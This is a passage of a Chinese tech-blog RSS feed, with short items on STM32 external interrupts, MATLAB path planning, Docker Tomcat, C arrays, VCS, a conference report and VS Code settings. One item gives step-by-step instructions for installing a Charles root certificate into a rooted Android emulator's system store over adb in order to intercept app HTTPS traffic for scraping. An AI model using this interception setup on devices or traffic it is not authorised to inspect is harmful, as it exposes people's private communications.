（简单来说，就是引脚电平变化，申请中断）&#xA;（1）触发方式：&#xA;上升沿：就是电平从低电平变到高电平的瞬间触发中断。&#xA;下降沿：就是电平从高电平变到低电平的瞬间触发中断。&#xA;双边沿：上升沿和下降沿都可以触发中断&#xA;软件触发：就是引脚啥事没有，程序里执行一句代码就能触发中断。&#xA;注意：•支持的GPIO口：所有GPIO口，但相同的Pin不能同时触发中断，意思比如PA0和PB0不能同时用。&#xA;（2）通道数：16个GPIO_Pin，外加PVD输出、RTC闹钟、USB唤醒、以太网唤醒；总共有20个中断线路，前16个为外部中断的主要功能，后四个相当于“蹭网”（一、因为外部中断有一个功能，就是从低功率模式的停止模式下唤醒STM32，那对于PVD电源电压监测，当电源从电压过低恢复时，就需要PVD借助一下外部中断退出模式；二、有时为了省电，RTC定一个闹钟后，STM32会进入停止模式，等到闹钟饷时候再唤醒，这也需要借助外部中断......知道一下就行）&#xA;（3）触发响应方式：&#xA;中断响应：正常的流程，引脚电平变化触发中断。&#xA;事件响应：不会触发中断，而是触发别的外设操作，属于外设之间的联合工作。&#xA;（4）EXIT外部中断的基本结构&#xA;AFIO：实际是数据选择器，将前面3个外设的GPIO外设引脚里选择其中一个连接到后面EXTI的通道里，（所以前面说”所有GPIO口可以触发中断，相同的PIN不能同时触发中断“，因为这些只有其中一个能被接到EXTI的通道0上）&#xA;EXTI连接NVIC通道中，9到5被放在用一个通道会触发同一个中断函数，15到10也会触发同一个中断函数，在编程的时候，我们在这两个中断函数，需要再根据标志位来区分到底是哪个中断进来。下面20那连的其他外设就是事件响应。&#xA;2、AFIO复用IO口 这里的重定义即把这些默认复用功能的引脚换到重定义的这个位置来：&#xA;（右边两列）&#xA;3、EXTI框图 这里说一下，中间第二个“请求挂起寄存器”相当于一个中断标志位，我们可以读取这个寄存器判断是哪个通道触发的中断，如果中断挂起寄存器，它就会继续向左走，和中断屏蔽寄存器共同进入一个与门，然后是NVIC中断控制器。（这里的与门相当于开关的作用，中断屏蔽寄存器给1，那么另一个输入就是直接输入，也就是允许中断；中断屏蔽器给0，那另一个输入无论是什么，都为0，相当于屏蔽了这个中断）下面事件屏蔽寄存器同理，最后通过脉冲发生器连接其他外设，这个脉冲发生器就是给一个电平脉冲，用来触发其他外设的动作。&#xA;EXTI配置&#xA;AFIO口的库函数包含在GPIO函数文件里，打开之前12个函数附近，可以看到后面六个函数，其中后五个是AFIO口的配置，加上之前第二个函数一共六个AFIO配置函数：&#xA;这个函数是用来复位AFIO口的。&#xA;后六个函数名如下：（只用第五个）&#xA;第一个（361）GPIO_PinLockConfig函数是设定GPIO配置的，调用这个函数，参数指定某个引脚，防止意外更改；&#xA;第二个和第三个（362-363）GPIO_EventOutputConfig和GPIO_EventOutputCmd函数是用来配置AFIO的事件输出功能的&#xA;第四个（364）GPIO_PinRemapConfig函数可以用来进行引脚重映射&#xA;第五个是重点， GPIO_EXTILineConfig函数可以配置AFIO的数据选择器，来选择我们想要的中断引脚，打开这个函数可以看到里面是操作的AFIO的寄存器。&#xA;第六个是以太网外设&#xA;开始用EXIT中断：&#xA;只需要把这个外部中断，从GPIO到NIVC这一路出现的外设模块都配置好，把这条信号电路打通即可，外部中断配置步骤如下：&#xA;第一步：配置RCC，把我们这里涉及的外设时钟都打开，让其工作；&#xA;第二步：配置GPIO，选择我们的端口为输入模式；&#xA;第三步：配置AFIO，选择我们用的这一路GPIO，连接到后面的EXTI；&#xA;第四步：配置EXTI，选择边沿触发方式，比如上升沿、下降沿或者双边沿，还有选择触发响应方式，可以选择中断响应和事件响应（一般中断响应）；&#xA;第五步：配置NVIC，给我们这个中断选择一个合适的优先级，最后通过NVIC，外部中断信号就能进入CPU了。CPU收到中断信号，会跳到中断函数里执行中断程序&#xA;**配置EXTI:&#xA;1、void EXTI_DeInit(void);//把EXTI的配置调整，恢复成上电默认状态&#xA;2、void EXTI_Init(EXTI_InitTypeDef* EXTI_InitStruct);//EXTI外设参数配置</description>
    </item>
    <item>
      <title>【路径规划】基于matlab遗传算法光伏实验室小车栅格地图路径规划【含Matlab源码 2572期】</title>
      <link>https://bchobby.github.io/posts/c411c68fdca0229b7328c4b6af2aa1ea/</link>
      <pubDate>Sat, 28 Oct 2023 10:23:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c411c68fdca0229b7328c4b6af2aa1ea/</guid>
      <description>✅博主简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，Matlab项目合作可私信。&#xA;🍎个人主页：海神之光&#xA;🏆代码获取方式：&#xA;海神之光Matlab王者学习之路—代码获取方式&#xA;⛳️座右铭：行百里者，半于九十。&#xA;更多Matlab仿真内容点击👇&#xA;Matlab图像处理（进阶版）&#xA;路径规划（Matlab）&#xA;神经网络预测与分类（Matlab）&#xA;优化求解（Matlab）&#xA;语音处理（Matlab）&#xA;信号处理（Matlab）&#xA;车间调度（Matlab）&#xA;⛄一、栅格地图简介 1 栅格法应用背景&#xA;路径规划时首先要获取环境信息， 建立环境地图， 合理的环境表示有利于建立规划方法和选择合适的搜索算法，最终实现较少的时间开销而规划出较为满意的路径。一般使用栅格法在静态环境下建立环境地图。&#xA;2 栅格法实质&#xA;将AGV的工作环境进行单元分割， 将其用大小相等的方块表示出来，这样栅格大小的选取是影响规划算法性能的一个很重要的因素。栅格较小的话，由栅格地图所表示的环境信息将会非常清晰，但由于需要存储较多的信息，会增大存储开销，同时干扰信号也会随之增加，规划速度会相应降低，实时性得不到保证；反之，由于信息存储量少，抗干扰能力有所增强，规划速随之增快，但环境信息划分会变得较为模糊，不利于有效路径的规划。在描述环境信息时障碍物所在区域在栅格地图中呈现为黑色，地图矩阵中标为1，可自由通行区域在栅格地图中呈现为白色，地图矩阵中标为0。路径规划的目的就是在建立好的环境地图中找到一条最优的可通行路径，所以使用栅格法建立环境地图时，栅格大小的合理设定非常关键。&#xA;3 10乘10的静态环境地图&#xA;10乘10的静态环境地图代码&#xA;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%建立环境地图%%%%%%%%%%%%%%%%%%%%%%%%%%%% function DrawMap(map) n = size(map); step = 1; a = 0 : step :n(1); b = 0 : step :n(2); figure(1) axis([0 n(2) 0 n(1)]); %设置地图横纵尺寸 set(gca,&#39;xtick&#39;,b,&#39;ytick&#39;,a,&#39;GridLineStyle&#39;,&#39;-&#39;,... &#39;xGrid&#39;,&#39;on&#39;,&#39;yGrid&#39;,&#39;on&#39;); hold on r = 1; for(i=1:n(1)) %设置障碍物的左下角点的x,y坐标 for(j=1:n(2)) if(map(i,j)==1) p(r,1)=j-1; p(r,2)=i-1; fill([p(r,1) p(r,1) + step p(r,1) + step p(r,1)],.</description>
    </item>
    <item>
      <title>【路径规划】基于matlab强化学习Q-Learing栅格地图路径规划【含Malab源码 2720期】</title>
      <link>https://bchobby.github.io/posts/90108aa538ce4206ab24de6826e954b7/</link>
      <pubDate>Sat, 28 Oct 2023 10:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90108aa538ce4206ab24de6826e954b7/</guid>
      <description>✅博主简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，Matlab项目合作可私信。&#xA;🍎个人主页：海神之光&#xA;🏆代码获取方式：&#xA;海神之光Matlab王者学习之路—代码获取方式&#xA;⛳️座右铭：行百里者，半于九十。&#xA;更多Matlab仿真内容点击👇&#xA;Matlab图像处理（进阶版）&#xA;路径规划（Matlab）&#xA;神经网络预测与分类（Matlab）&#xA;优化求解（Matlab）&#xA;语音处理（Matlab）&#xA;信号处理（Matlab）&#xA;车间调度（Matlab）&#xA;⛄一、强化学习Q-Learing 使用强化学习中的Q-Learning算法路径规划的步骤如下：&#xA;定义状态(State)：将栅格地图划分为离散的状态间。每个栅格可以是一个状态，或者根据需求进一步细分。&#xA;定义动作(Action)：定义智能体可以采取的动作集合，例如上、下、左、右等。每个动作对应智能体在当前状态下执行的操作。&#xA;定义奖励(Reward)：为每个状态和动作定义奖标是让智能体通过选择动作最大化累积奖励。&#xA;初始化Q值：创建一个Q表，其行状态，列表示动作。初始化Q表中的Q值为零或随机数。&#xA;迭代过程：&#xA;a. 选择动作：基于当前状态选择动作。可以使用ε-greedy策略，在ε概率下选择一个随机动作，以便探索未知的状态；否则(1-ε)概率下选择具有最大Q值的动作。&#xA;b. 执行动作：在环境中执行选择的动作，观察下一个状态和获得的奖励。&#xA;c. 更新Q值：使用Q-Learning更新规则更新Q值。根下一个状态的最大Q值和当前状态的奖励计算新的Q值。&#xA;d. 更新状态：将下一个状态设置为当前状态。&#xA;e. 重复步骤a-d，直到达到停止条件（例如达到最大迭代次数或收敛）。&#xA;使用训练好的Q表选择最佳路径：在训练完成后，使用训练好的Q表选择具有最高Q值的动作作为最佳路径规划方案。&#xA;需要注意的是，以上步骤是基本的Q-Learning过程，你可能需要根据具体的栅格地图问题进行相应的调整和优化。&#xA;⛄二、部分源代码 function varargout =PathPlanning(varargin)&#xA;% 移动机器人路径规划仿真平台接口：仿真平台提供了机器人工作环境的仿真界面，利用inf=load(‘inf’),sp=inf.StartPoint,&#xA;% EP=inf.EndPoint,WS=inf.env得到机器人工作环境的出发点、目标点位置及障碍物位置信息，工作空间边界及障碍物区域设置为1，自由空间&#xA;%设置为0。&#xA;gui_Singleton = 1;&#xA;gui_State = struct(‘gui_Name’, mfilename, …&#xA;‘gui_Singleton’, gui_Singleton, …&#xA;‘gui_OpeningFcn’, @Simulation_OpeningFcn, …&#xA;‘gui_OutputFcn’, @Simulation_OutputFcn, …&#xA;‘gui_LayoutFcn’, [] , …&#xA;‘gui_Callback’, []);&#xA;if nargin &amp;amp;&amp;amp; ischar(varargin{1})&#xA;gui_State.gui_Callback = str2func(varargin{1});</description>
    </item>
    <item>
      <title>docker应用部署---Tomcat的部署配置</title>
      <link>https://bchobby.github.io/posts/726cd6deaf2bd827e4dd03d8a6c3fa78/</link>
      <pubDate>Fri, 27 Oct 2023 21:26:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/726cd6deaf2bd827e4dd03d8a6c3fa78/</guid>
      <description> 1. 搜索tomcat镜像 docker search tomcat 2. 拉取tomcat镜像 docker pull tomcat 3. 创建容器，设置端口映射、目录映射 # 在/root目录下创建tomcat目录用于存储tomcat数据信息 mkdir ~/tomcat cd ~/tomcat docker run -id --name=c_tomcat \ -p 8080:8080 \ -v $PWD:/usr/local/tomcat/webapps \ tomcat ● 参数说明：&#xA;○ -p 8080:8080：将容器的8080端口映射到主机的8080端口&#xA;-v $PWD:/usr/local/tomcat/webapps：将主机中当前目录挂载到容器的webapps&#xA;4. 创建一个html页面（用于后面的测试） touch test cd test vi index.html &amp;lt;h1&amp;gt;hello docker tomcat&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt;nihao&amp;lt;/p&amp;gt; 5. 使用外部机器访问tomcat </description>
    </item>
    <item>
      <title>C语言初阶-数组</title>
      <link>https://bchobby.github.io/posts/5c05a47899dd6fc406ec25b9ae06723f/</link>
      <pubDate>Fri, 27 Oct 2023 20:26:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c05a47899dd6fc406ec25b9ae06723f/</guid>
      <description>目录&#xA;一、一维数组的创建和初始化&#xA;1.数组的创建&#xA;2.数组的初始化&#xA;不完全初始化：&#xA;不初始化：&#xA;3.一维数组的使用&#xA;4.一维数组在内存中的存储&#xA;通过指针访问数组元素：&#xA;二、二维数组的创建和初始化&#xA;1.二维数组的创建&#xA;2.二维数组的初始化&#xA;​编辑&#xA;3.二维数组的使用&#xA;4.二维数组在内存中的存储&#xA;三、数组越界&#xA;四、数组作为函数参数&#xA;1.冒泡排序函数的错误设计&#xA;2.数组名是什么？&#xA;1. sizeof(数组名)&#xA;2. &amp;amp;数组名&#xA;3.冒泡排序函数的正确设计&#xA;一、一维数组的创建和初始化 1.数组的创建 数组是一种相同元素类型的集合。&#xA;数组的创建：&#xA;type_t arr_name [const_n];&#xA;/ / type_t 是指数组的元素类型&#xA;/ / const_n 是一个常量表达式，用来指定数组的大小&#xA;举例：&#xA;int arr1[10]; char arr2[10]; float arr3[1]; double arr4[20]; 其中，int，char，float，double就是数组的元素类型，10，10，1，20分别是数组的大小。&#xA;下面是一个错误示例：&#xA;int main() { int n = 0; int arr[n] = { 0 }; return 0; } 运行时编译器会报错：&#xA;这个原因其实前面也讲过：有些编译器在定义数组时，数组的大小必须是一个常量表达式，而上述代码中的n是变量。&#xA;注意：C99中引入了变长数组的概念，允许数组的大小用变量来指定，如果编译器不支持C99中的变长数组，那就不能使用，相反，支持C99的编译器可以使用变量来指定数组的大小。</description>
    </item>
    <item>
      <title>VCS的使用笔记</title>
      <link>https://bchobby.github.io/posts/07e4a09970e23472eb5557e5fdccee2d/</link>
      <pubDate>Fri, 27 Oct 2023 20:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07e4a09970e23472eb5557e5fdccee2d/</guid>
      <description>VCS VCS是一个编译型Verilog仿真器，用于验证数字电路设计的正确性。VCS可以进行逻辑仿真、时序仿真和功耗仿真。&#xA;VCS的工作流程如下：&#xA;将Verilog或SystemVerilog代码转化为C代码。在Linux环境下使用C编译器编译C代码，并链接库文件，生成可执行文件。运行生成的可执行文件，对设计进行仿真。 vcs source_files [compile_time_options]命令：用于编译Verilog代码，并生成可执行文件(simv)用于仿真。&#xA;其中，source_files 指定了要编译的源文件列表，可以是多个文件，文件名之间用空格分隔。 compile_time_options 是编译时的选项，指定VCS如何进行编译，例如优化级别、调试信息等。&#xA;常见的[compile_time_options] -Mupdate:增量编译。当需要对一个或多个文件进行修改并重新编译时，使用-Mupdate命令可以避免重复编译，从而节省时间。&#xA;-R：编译后立即执行。&#xA;-gui:图形化界面&#xA;-l &amp;lt;filename&amp;gt;：保存一些运行时的log文件&#xA;-sverilog：支持SystemVerilog&#xA;-v lib_file：表示将库文件lib_file加入vcs的库搜索路径中。如果RTL代码中有IP，vcs会在lib_file这个文件中去搜索这个IP&#xA;-y lib_dir: 添加一个路径，用于搜索模块定义&#xA;+libext+:在lib库中搜索指定后缀名的文件&#xA;+incdir+&amp;lt;directory&amp;gt;:将 &amp;lt;directory&amp;gt; 添加到头文件搜索路径中，以便编译器可以找到在源代码中使用 ``include 包含的文件。 假设有一个名为 &#39;example.v&#39;的 Verilog 源代码文件包含：include “header.h”,而header.h在/home/user/include目录下，则可以使用命令：vcs +incdir+/home/user/include example.v`&#xA;-f file:指定一个文件作为VCS命令行参数的输入源。每个参数占据文件中的一行。&#xA;-o filename:改变生成的可执行的文件的名字，不叫simv了&#xA;仿真过程 simv [run_time_options]：[run_time_options]制定了vcs如何执行仿真&#xA;常见的[run_time_options] -s:停止仿真&#xA;-l logfile:把仿真时的输出和日志存到logfile文件中&#xA;在VCS中使用DesignWare库 DesignWare 库是 Synopsys 公司提供的一个硬件 IP 核库，包含了许多用于 SoC 设计的可重用 IP 核和子系统。&#xA;vcs -v $DW_ROOT/dw/sim_ver/:把DW库的路径添加到搜索路径中，其中DW_ROOT就是DW库的根目录。&#xA;当然verilog代码中也要include的所用的模块，比如：``include “dw/axi_master/verif/dw_axi_master.sv”`&#xA;VCS debugging 命令行debug：UCLI，不好用、不常用&#xA;verdi：专门用于debug&#xA;DVE：vcs的GUI界面&#xA;要考虑的方面：仿真速度、信号可见性、信号可追踪性tractability、可用性</description>
    </item>
    <item>
      <title>C语言初阶--初识C语言(1)</title>
      <link>https://bchobby.github.io/posts/c05d1545f94b5172d19886e7f32fbd36/</link>
      <pubDate>Fri, 27 Oct 2023 20:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c05d1545f94b5172d19886e7f32fbd36/</guid>
      <description>目录 一、第一个C语言程序&#xA;二、数据类型&#xA;1.常见的数据类型&#xA;2.计算机的基本单位&#xA;三、认识变量与常量&#xA;1.定义变量的方法&#xA;2.变量的分类：&#xA;3.变量的作用域与生命周期&#xA;3.1变量的作用域&#xA;3.2变量的生命周期&#xA;一、第一个C语言程序 以上为程序的代码及运行结果，注意：&#xA;1.一个程序中main函数是程序的入口，有且只有一个。&#xA;2.程序中所有的符号如：“” ；（）等不能忘记，且应该用英文符号。&#xA;3.“\n”是换行符。如不使用，运行结果应该是hello worldhehe。&#xA;main函数有三种写法：&#xA;这是最常见的写法。&#xA;旧式的写法，不建议使用。&#xA;这种写法也是对的，括号中的void表示mian函数不需要参数。&#xA;二、数据类型 1.常见的数据类型 以上就是常见的数据类型，那么计算机为什么要搞这么多数据类型呢？&#xA;因为每种数据类型所占空间不同，选择合适的类型可以提高空间利用率。&#xA;下面我们用代码来验证一下每个数据类型的大小&#xA;代码中sizeof是一个操作符，用来计算类型和变量的大小，由运行结果可知图中各数据类型的大小分别为1byte、2byte、4byte、4byte、8byte、4byte、8byte。&#xA;C语言标准规定：sizeof(long)&amp;gt;=sizeof(int).&#xA;2.计算机的基本单位 bit :比特位&#xA;byte :字节 1byte=8bit&#xA;KB: 1KB=1024byte&#xA;MB: 1MB=1024KB&#xA;GB: 1GB=1024MB&#xA;TB: 1TB=1024GB&#xA;PB: 1PB=1024TB&#xA;三、认识变量与常量 变量：用来描述变化的数据（例如：身高、体重、血压等）&#xA;常量：用来描述不变的数据（例如：圆周率、性别、身份证号码等）&#xA;1.定义变量的方法 数据类型+变量名=给变量名赋的初值&#xA;如图：&#xA;代码中55.5f代表数据是单精度浮点数，如果不加f，编译器默认为双精度浮点数 。&#xA;注意：定义字符时用单引号（即‘’），定义字符串时用双引号（即“”）。&#xA;2.变量的分类： 全局变量&#xA;局部变量&#xA;区分全局变量和局部变量的方法：看它的位置，在{}里面为局部变量，在{}外面为全局变量。&#xA;图中的b为全局变量，a为局部变量。&#xA;注意：当全局变量和局部变量名字相互冲突下，局部变量优先。图中定义全局变量a=15,同时定义局部变量a=10,最终运行结果是10。&#xA;3.变量的作用域与生命周期 3.1变量的作用域 局部变量作用域：变量所在的局部范围&#xA;全局变量作用域：整个工程&#xA;局部变量使用示例：&#xA;变量在局部范围内可以正常输出 。&#xA;局部范围外输出就会出现报错。&#xA;全局变量使用示例：</description>
    </item>
    <item>
      <title>双态IT乌镇用户大会——数据中心业务连续性国标专题研讨会成功举办</title>
      <link>https://bchobby.github.io/posts/3d1d7471a71f9198376831b4ab19fb68/</link>
      <pubDate>Fri, 27 Oct 2023 17:32:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d1d7471a71f9198376831b4ab19fb68/</guid>
      <description>2023年10月13日-15日，由ITSS分会、证券基金行业信息技术应用创新联盟指导，ITSS数据中心运营管理组（DCMG）、双态IT论坛、智能运维国标工作组主办，ITSS媒体组、AI范儿协办的“2023第六届双态IT乌镇用户大会”于浙江乌镇召开。政府、央企、金融各行业精英齐聚大会现场。双态IT联盟成员单位同创永益受邀参加本次大会，并举办「“数智觉醒，韧性新生”，数据中心业务连续性国标专题研讨会」专场会议。&#xA;全球经济蓬勃发展，为保障企业生产管理平稳运行，业务连续性的体系建设对于金融行业至关重要。业务连续性保障业务连续不间断平稳运营，在经济发展大环境下，金融企业提供的服务业务可以促进经济平稳运行，因此维持金融体系的业务连续性对支撑经济快速发展起到至关重要的作用。&#xA;本次“数智觉醒，韧性新生”，数据中心业务连续性国标专题研讨会，邀请到银行、保险、证券的专家围绕《数据中心业务连续性等级评价准则》GB/T42581-2023，展开讨论，分享业务连续性建设工作实践经验与未来发展趋势。&#xA;会议伊始，ITSS数据中心运营管理组组长肖建一对《数据中心业务连续性等级评价准则》国标进行内容解读。他表示，国家标准化管理与行业监管已逐渐系统化，系列标准的制定为业务连续性管理提供了的支持，但在为数据中心提供业务连续性的指导时不够准确。本标准的制定，给出了数据中心业务连续性等级定义、等级评价模型，并提出评价办法及操作方法。本标准为生产环境业务连续性水平提供了评价依据和关键指标，有利于推动业务规范化及业务连续性能力提升。同时，考虑到多方需求，在各行业进行试点实验，为本标准的落实与使用奠定夯实的基础。&#xA;中国质量认证中心作为头部认证机构依据《数据中心业务连续性等级评价准则》，首次推出《数据中心业务连续性等级认证》项目，该项目是数据中心领域，唯一针对业务连续性的特定认证项目。陈凯介绍，认证单位的业务连续性应用阶段与基础设施阶段都是重要的考核项目，中国质量认证中心拥有系统化的审核架构可以叠加计算层、应用层连续性，使认证单位更加便捷了解自身业务连续性的水平，帮助认证单位快速定位，完成认证。&#xA;会上，金融机构代表、企业专家代表对业务连续性管理体系建设相关实践，进行充分的经验分享。&#xA;中国建设银行运营数据中心灾备运维处协助负责人王雪萌分享了建行的《业务连续性体系建设实践与探索》。为确保业务连续性平稳运行，需要构建灾备组织架构和高效的管理机制，持续优化管理流程，针对不同架构形成个性化标准方案，并在灾备建设的过程中形成灾备演练与运维的管理工具。建立高可用架构标准，明确高可用管理要求和标准架构模型能力，在高可用模型、运维对象、应用系统间建立管理视图，通过自动化手段对应用及基础设施对象进行高可用能力检核，主动发现高可用风险，生成演练报告，形成管理闭环。&#xA;北京银行西安灾备中心室副经理尤晓青作《守正创新，银行灾备能力平台化实践探索》分享。他表示，近年来银行行业普遍存在业务连续性管理痛点，应用预案风险场景覆盖度、常态化演练都存在欠缺。通过管理梳理提升以及引入平台化的落地、建立流程规范，同时达到监管制度要求以及行内风险管理要求，提升灾备有效性，实现预案模块化管理。&#xA;同创永益CTO郑阳作《与数智化共舞·业务稳定性保障新动力》主题分享。他表示，随着乌卡（VUCA）时代突然到来，易变性、不确定性、复杂性、模糊性加剧，全球数字化转型进入到关键阶段。随着新技术的引入，AI技术的发展，业务稳定性技术已由传统走向智能化，可以更加便捷地帮助客户理解业务连续性相关的知识、方法论，并能够根据演练场景智能推荐演练方案和应急预案。&#xA;太保科技业务连续性管理负责人刘强，以太保科技实践为基础分享了《保险数字韧性敏捷创新》。目前，业务连续性已成为系统性的社会风险，业务连续性的建设工作与概念普及恰逢其时。业务连续性不仅要关注灾备管理，业务管理也是其中重要环节。在当前大环境下，需要通过技术不断创新，精细化演练管理、自动化灾备与生产配置校验比对。在生产故障发生后，快速分析故障原因，排除故障，恢复IT服务，保证业务连续运行，提升业务稳定性。&#xA;申万宏源信息技术保障总部总经理助理张浩作《变更风险管控助力业务连续性》分享。业务连续性覆盖方面广阔，业务系统、基础设施、人员团队培养都是不可或缺的因素。对于证券公司来看信息科技服务业务广泛，使得信息技术迭代频繁，通过多维度的“全网测试”对于重大的变更与信息系统，将故障演练作为质量门禁在上线前进行探测，保障实际项目平稳进行。&#xA;同创永益副总裁郑星作《数据中心业务连续性等级评价准则》国标能力体系建设要点分享。加强基础设施，建立面向应用和未来的双态IT融合的灾备体系。面向客户数字化转型带来的业务连续性挑战。充分提升IT价值和业务连续性，建立混沌工程体系化方法，提供成熟的实践场景和丰富的故障注入手段，帮助企业发现更多影响业务连续性问题。在开发、测试、运营各个阶段提升系统稳定性，助力企业机构治理现代化和服务智慧化。&#xA;运维与维护作为数据中心全生命周期中历时最长的一个环节，其重要性不言而喻，“三分建设，七分管理”的观念得到行业普遍认可。本次会议还进行了数据中心基础设施运维评价授牌仪式，太平洋保险的数据中心通过运维评价，获得中国质量认证中心签发的认证证书。&#xA;数据中心基础设施运维评价 授牌仪式&#xA;会议还评选出首批《数据中心业务连续性等级评价准则》国标试点单位，他们分别是交通银行、吉林银行、昆仑银行、太平洋保险、申万宏源证券。能够成为第一批试点单位并通过评估，是数据中心管理单位有效证明当前业务连续性工作已经在标准化、规范化方面行业领先。&#xA;《数据中心业务连续性等级评价准则》国标试点单位启动仪式&#xA;本次“数智觉醒 韧性新生 数据中心业务连续性国标专题研讨会”，为金融业业务连续性管理发展提供了沟通交流的平台，帮助金融机构对建立、管理、维护业务连续性有了更加深入的体悟。此外，会议推动了《数据中心业务连续性等级评价准则》国标的宣传与普及，以金融为起点，让更多行业、领域在数据中心业务连续性建设上更全面、更有效，促进各行业在数字化浪潮中稳定前行。&#xA;同创永益简介&#xA;北京同创永益科技发展有限公司成立于2009年，是国高新技术企业、专精特新“小巨人”企业、信创工委会技术活动单位、中国信通院混沌工程实验室副理事长单位。公司深耕企业用户数字韧性服务，业务覆盖灾难恢复、业务连续性、IT应急管理、容量管理、混沌工程等产品和解决方案，拥有自主知识产权和全栈服务能力，致力于帮助客户建设数字化系统的全领域韧性体系。</description>
    </item>
    <item>
      <title>vscode中如何配置prettier</title>
      <link>https://bchobby.github.io/posts/e414f808041e99409b5d389f4eab8a76/</link>
      <pubDate>Fri, 27 Oct 2023 17:19:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e414f808041e99409b5d389f4eab8a76/</guid>
      <description>{ &#34;workbench.startupEditor&#34;: &#34;none&#34;, &#34;files.eol&#34;: &#34;\n&#34;, &#34;[html]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;[css]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;[scss]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;[javascript]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;[json]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;[jsonc]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;[vue]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;esbenp.prettier-vscode&#34; }, &#34;js/ts.implicitProjectConfig.experimentalDecorators&#34;: true, &#34;vetur.format.options.tabSize&#34;: 2, &#34;explorer.confirmDelete&#34;: false, &#34;editor.multiCursorModifier&#34;: &#34;ctrlCmd&#34;, &#34;editor.guides.bracketPairs&#34;: true, &#34;editor.codeActionsOnSave&#34;: { // 保存时使用 ESLint 修复可修复错误 &#34;source.fixAll&#34;: true, &#34;source.fixAll.eslint&#34;: true }, &#34;git.openRepositoryInParentFolders&#34;: &#34;always&#34;, &#34;eslint.quiet&#34;: false, // 忽略 warning 的错误 &#34;</description>
    </item>
    <item>
      <title>【爬虫】charles手机抓包环境设置（设置系统证书）</title>
      <link>https://bchobby.github.io/posts/88d854318c325c72e8101828b0377137/</link>
      <pubDate>Fri, 27 Oct 2023 12:26:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88d854318c325c72e8101828b0377137/</guid>
      <description>1.说明 想要对手机抓包，最关键的是需要设置好根证书，用户证书在安卓7.0之后就不受信任了，想要对手机app抓包，就需要把用户证书设置为系统证书（根证书）&#xA;注意，想要设置为根证书，你的安卓需要获取到root权限，但是root会有风险，很大app（如银行类app）都不能在已root的设备上运行，所以一般推荐使用模拟器操作，此处以雷电模拟器9和charles为例进行演示&#xA;2.charles设置 设置ssl抓包类型，菜单栏Proxy–SSL Proxy Settings，勾选“Enable SSL Proxying”，新增一个类型，IP端口都设置为“*”（表示全部）&#xA;设置远程端口，菜单栏Proxy–Proxy Settings，Http Proxy这里设置一个端口号，例如8888，勾选下面两个传输类型&#xA;查看远程安装证书信息，点击菜单栏Help–SSL Proxying–Install Charles Root Certificate on a Mobile Device or Remote Browser，它弹出一个窗口，显示本机代理的IP端口（我这里是10.10.66.1:8888），以及证书下载URL（chls.pro/ssl）&#xA;3.模拟器设置 打开模拟器的设置页面，找到root选项把它开启，大多数模拟器都支持root，都是在设置界面可以打开root开关，如果有写入设置也需要开启&#xA;打开系统设置，找到WLAN设置，然后把点击当前网络右上角的编辑按钮，把代理设置为Charles帮助信息显示的IP端口即可&#xA;4.设置用户证书 打开系统自带的浏览器，它会弹出证书不受信任的问题，不管它，一路点击“继续”知道不弹出提示。现在访问一下chls.pro/ssl，此时Charles那边应该会有一个确认按钮，确认之后模拟器就会下载证书，下载完完成之后点击安装，模拟器会提醒设置一个锁屏（图案或pin都可以），这时候就可以安装证书了，证书名可以随便写&#xA;5.设置系统证书 现在设置的是用户证书，在安卓7之后app是不信任用户证书的，所以我们还需要把它设置为系统证书，其实就是把这个证书文件复制到系统证书目录里就行&#xA;用户证书目录：/data/misc/user/0/cacerts-added/&#xA;系统证书目录：/system/etc/security/cacerts/&#xA;这个操作很容易，只要获取到root权限就行，你可以直接在文件管理器里把系统证书复制到用户证书的文件夹里，证书是一个.0结尾的文件，我这里是ca499da3.0，如果以前没有安装过用户证书，那用户证书文件夹里只有一个文件，很好找到的&#xA;如果你有adb，也可以使用adb的shell操作&#xA;adb devices adb shell su mount -o remount,rw /system cp /data/misc/user/0/cacerts-added/ca499da3.0 /system/etc/security/cacerts/ 另外我们可以发现，其实证书文件的文件名就是一个哈希值，你也可以直接从charles导出证书，然后复制到安卓的证书文件夹里就行，但这种做法前提是你能使用openssl&#xA;首先，导出Charles证书文件（pem格式）&#xA;然后使用openssl生成哈希（证书文件名）&#xA;openssl x509 -subject_hash_old -in 证书文件路径 之后把Charles证书文件改名为哈希.0，最后使用adb把它push到对应的证书文件夹里即可</description>
    </item>
    <item>
      <title>python 字符串str与字典dict转换</title>
      <link>https://bchobby.github.io/posts/78aa81dd02ef76b0ceb01fbf24f6f77c/</link>
      <pubDate>Fri, 27 Oct 2023 08:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78aa81dd02ef76b0ceb01fbf24f6f77c/</guid>
